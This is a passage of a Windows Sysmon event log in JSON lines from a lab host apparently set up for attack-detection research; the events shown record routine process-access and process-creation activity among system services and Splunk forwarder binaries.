12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-0010F5350A00}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-0010F5350A00}","TargetProcessId":"4644","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.416\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425C-5F2D-0000-001055F10900}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.416","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425C-5F2D-0000-001055F10900}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6598,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425C-5F2D-0000-001055F10900}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425C-5F2D-0000-001055F10900}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6599,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.432\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4265-5F2D-0000-001022380A00}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.432","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4265-5F2D-0000-001022380A00}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6600,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:37.541\r\nSourceProcessGUID: {90617006-4265-5F2D-0000-0010F5350A00}\r\nSourceProcessId: 4644\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:37.541","SourceProcessGUID":"{90617006-4265-5F2D-0000-0010F5350A00}","SourceProcessId":"4644","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6601,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.089\r\nProcessGuid: {90617006-4266-5F2D-0000-0010BA3D0A00}\r\nProcessId: 4652\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:00:38.089","ProcessGuid":"{90617006-4266-5F2D-0000-0010BA3D0A00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:00:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6602,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4266-5F2D-0000-0010BA3D0A00}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program 